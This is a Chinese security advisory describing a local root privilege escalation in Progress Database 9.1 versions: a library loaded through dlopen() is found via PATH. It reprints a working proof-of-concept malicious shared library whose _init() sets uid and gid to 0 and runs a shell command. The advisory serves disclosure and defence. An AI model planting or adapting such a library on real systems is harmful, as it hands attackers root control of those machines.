首页 -> 安全研究

安全研究

安全漏洞
Progress Database环境变量本地权限提升漏洞

发布日期:2003-06-14
更新日期:2003-06-20

受影响系统:
Progress Database 9.1D06
Progress Database 9.1D05
Progress Database 9.1C
Progress Database 9.1B
Progress Database 9.1
Progress Database 9.1D
    - HP HP-UX 11.0
    - IBM AIX 4.3.3
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows 2000 Server SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000 Server
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - RedHat Linux 6.2
    - Sun Solaris 2.6
    - SuSE Linux 7.2
描述:
BUGTRAQ  ID: 7916

Progress是一款商业性质的数据库系统,可使用在Microsoft Windows和Unix操作系统下。

Progress当打开共享库时不正确处理环境变量值,本地攻击者可以利用这个漏洞进行权限提升攻击。

多个Progress工具当包含共享对象库时使用dlopen()函数,并会通过环境变量PATH进行查找, 但是对对象库所在位置没有进行任何检查验证,因此攻击者可以设置环境变量指定恶意库所在位置,从而以root用户权限执行库中包含的恶意命令。

<*来源:KF (dotslash@snosoft.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105561134624665&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

KF (dotslash@snosoft.com)提供了如下测试方法:

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}

建议:
厂商补丁:

Progress
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.progress.com

浏览次数:3200
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障